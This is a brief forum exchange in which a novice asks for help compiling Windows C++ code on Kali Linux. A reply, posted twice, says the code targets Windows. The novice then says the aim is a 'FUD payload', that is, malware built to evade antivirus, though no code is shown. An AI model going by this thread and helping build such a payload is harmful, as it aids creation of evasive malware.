hey, it's me again ... i tried this code too to compile a cpp file in kali linux.
keep getting errors, i wonder if you could help me on this one too (just had to change the windows.h to #include /usr/i686-w64-mingw32/include/windows.h )

here is a list of all the error i get (basically everything is related as an error)

i am truly sorry if it's a dumb fault again, but i've been stuck here for hours now
thank's in advance

It's made to build on a Windows OS, not a Linux one.

It's made to build on a Windows OS, not a Linux one.

oops, had another question, so i have to put this in Microsoft Visual Studio and run it ? or i should put it in Microsoft Visual Studio and transform it as a .exe ? As i said earlier i'm new to all of this and trying to create a FUD payload so ..
And thank's again for your help.
